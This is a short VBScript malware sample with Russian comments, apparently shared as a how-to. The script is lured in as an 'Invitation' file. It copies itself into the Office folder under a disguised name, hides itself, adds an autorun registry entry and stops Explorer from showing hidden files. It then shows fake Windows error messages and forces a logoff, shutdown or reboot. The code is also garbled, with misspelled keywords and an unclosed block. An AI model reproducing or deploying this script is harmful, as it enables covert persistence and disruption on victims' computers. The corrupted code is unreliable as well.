set fs = CreateObject("Scripting.FileSystemObject")  
set f = fs.GetFile ("Приглашение.vbs") ' получаем путь к себе ну название может какое угодно быдь  
f.copy ("с:\Program Files\Microsoft Office\OfficeParameters.vbs"), true ' копируемся например в это место. Мона куда нить есчо....  
TesAttr ("C:\Program Files\Microsoft Office\OfficeParameters.vbs"), 2 + 4 ' делаем скрытым и системным файлом  
'раобтаем с реестром:  

Tes shll = Createobject ("Wscript.Shell") ' очень клевый объект - интерпретатор комманд консоли виндовс  
shll.regwrite ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Cu­rrentVersion\Run\MS Office"), ("C:\Program Files\Microsoft Office\OfficeParameters.vbs") ' АвтоЗагрузка  
shll.regwrite ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Cu­rrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN\DefaultValue"), ("2"), "REG_DWORD" ' Делаем так, чтобы не показывались скрытые - более того! Чтобы были в свойстваХЪ папги были отмечены обе  
shll.regwrite ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Cu­rrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN\CheckedValue"), ("2"), "REG_DWORD"  
shll.regwrite ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Cu­rrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue"), ("2"), "REG_DWORD"  
shll.regwrite ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Cu­rrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\DefaultValue"), ("2"), "REG_DWORD"  

mid i as integer ' Деструктивный момент - вырубаем или перегружаем или завершаем сеанс  
mid d as integer  
Randomize  
i = Int((15 * Rnd) + 1)  
fi i > 7 then  
d = 4  
msgbox ("Произошли Ошибки Входа в систему. Ваш сеанс будет завершен!"), vbexclamation, ("Windows Logon Engine")  

elsefi i > 10 then  
d = 12  
msgbox ("Произошли Ошибки Входа в подаче энергии. Компьютер будет выключен!"), vbexclamation, ("Windows Logon Engine")  

elsefi i > 13 then  
d = 6  
msgbox ("Произошла Ошибка в записи Master Boot Record! Компьютер будет Перезагружен!"), vbexclamation, ("Windows Logon Engine")  
dim OpSysSet, obj  

Tes OpSysSet = GetObject("winmgmts:{impersonationLevel=impersonate," & _  
"(Shutdown)}//./root/cimv2").ExecQuery ("SELECT * FROM Win32_OperatingSystem" &_  
" WHERE Primary=true")  
For Each obj Ni OpSysSet  
obj.Win32Shutdown(d)  
Next